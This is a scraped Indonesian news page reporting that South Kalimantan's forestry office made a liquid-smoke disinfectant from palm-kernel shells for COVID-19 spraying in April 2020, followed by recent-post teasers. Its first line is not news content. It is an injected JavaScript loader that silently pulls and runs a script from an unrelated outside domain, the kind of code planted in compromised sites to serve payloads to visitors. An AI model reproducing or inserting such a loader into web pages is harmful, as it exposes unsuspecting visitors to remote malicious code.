(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dishut Prov Kalsel

Terobosan Dishut Prov Kalsel, Kelola Cangkang Sawit Menjadi Cairan Disinfektan


KANALKALIMANTAN.COM, BANJARBARU – Sebuah inovasi kembali dicetuskan Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Kehutanan. Mereka menyulap cangkang sawit menjadi cairan disinfektan (asap cair). Disinfektan ini digunakan sebagai cairan pembasmi kuman penyakit untuk mencegah penyebaran Covid-19.

Gubernur Kalimantan Selatan, H Sahbirin Noor mengatakan, cairan disinfektan yang langka di pasaran pasca merebaknya virus corona (Covid-19) tidak boleh dijadikan hambatan untuk terus menggalakkan upaya disinfeksi di tengah masyarakat. Maka dari itu, pihaknya mengerahkan segala sumber daya untuk memutus mata rantai penyebaran Covid-19.

“Cairan alami ini merupakan salah satu wujud nyata Pemprov dalam menekan secara masif penyerbaran Covid-19,” ucapnya, usai melakukan penyemprotan di lingkungan Setda Prov Kalsel, Banjarbaru, Senin (6/4/2020) siang.

Diketahui bahwa hari ini telah dilakukan penyemprotan secara serentak di seluruh Kabupaten Kota, dengan total pasukan sebanyak kurang lebih 230 orang bergerak di seluruh Kalimantan Selatan dengan menggunakan bahan baku alami dari asap cair.

Menggunakan asap cair sebagai bahan utama pembuat disinfektan, diyakini memiliki efektifitas yang jauh lebih baik dibanding etanol, serta lebih hemat penggunaannya. Rasionya 1 persen asap cair lebih efektif dibanding etanol 70 persen. Asap cair atau yang biasa disebut cuka kayu tersebut didapat dari hasil produksi dari 40 unit tungku asap binaan Pemprov dengan jumlah produksi sebanyak 800 liter per hari atau 24.000 liter dalam satu bulan.

Kadishut Prov Kalsel, Hanif Faisol Nurofiq mengatakan bahwa Dishut beserta jajarannya serius mendukung pemprov dalam menangani penyebaran virus ini, mengingat bahaya serta dampak yang luar biasa dari pandemyi covid 19. “Mulai minggu kemarin, cangkang sawit dibakar secara terus menerus. Satu tungku mampu memproduksi 20 liter, sehingga jika 40 tungku kami mampu memproduksi 800 liter sehari,” ucapnya.

Kadishut juga mengatakan, penyemprotan akan dilakukan se-Kalsel dengan tenaga 230 orang menggunakan cairan mencapai 5400 liter disinfektan yang sudah dicampur dengan air. Dirinya juga menyampaikan, asap cair ini juga dibagikan secara gratis kepada masyarakat.

“Semua RT akan kita bagikan, Pemprov sangat serius, kita akan kawal ini hingga dibagikan kepada masyarakat, sehingga tidak ada lagi kendala disinfektan di masyarakat,” ucapnya. (Kanalkalimantan.com/rico)

 

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.